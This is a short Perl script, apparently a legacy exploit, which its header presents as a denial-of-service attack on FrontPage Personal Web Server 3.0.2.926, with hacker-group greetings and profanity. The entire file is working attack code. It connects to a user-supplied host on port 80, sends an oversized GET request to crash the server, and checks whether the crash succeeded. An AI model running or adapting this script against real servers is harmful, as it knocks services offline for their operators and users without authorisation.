#!/usr/bin/perl
########################################################
#
# FrontPage-PWS32/3.0.2.926 DoS By Narr0w.
		#
#
							#
# Greetz to: STAR-W0RMS & Legion2000 Group
		#
# Big FUCK to the channel #hacking @EFNET.........	#
#########################################################
use IO::Socket;
if(@ARGV < 1) { die "\nUsage: $0 <host>\n\n"; }
$len=length($ARGV[0]);
if($len >= 64) { die "\nError: Host Length Too Long ($len)...\n"; }
$host = @ARGV[0];
print "Connecting to $host...\t";
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => 80,Proto => "TCP") || die "[FAILED]\n";
print "[  OK  ]\n";
print "Sending x's...\t\t";
print $socket "GET /" . "x"x167 . " HTTP/1.0\n\n";
print "\t[  OK  ]\n";
print "Checking...\t\t\t";
sleep(5);
while(<$socket>) {
chop;
if(/404 Not Found/) {
	print "[FAILED]\n";
	print "\nThis DoS does not work on this server ($host) ...\n";
	close $socket;
	exit(0);
}
else
{
	print "[  OK  ]\n";
	close $socket;
 }
}
exit;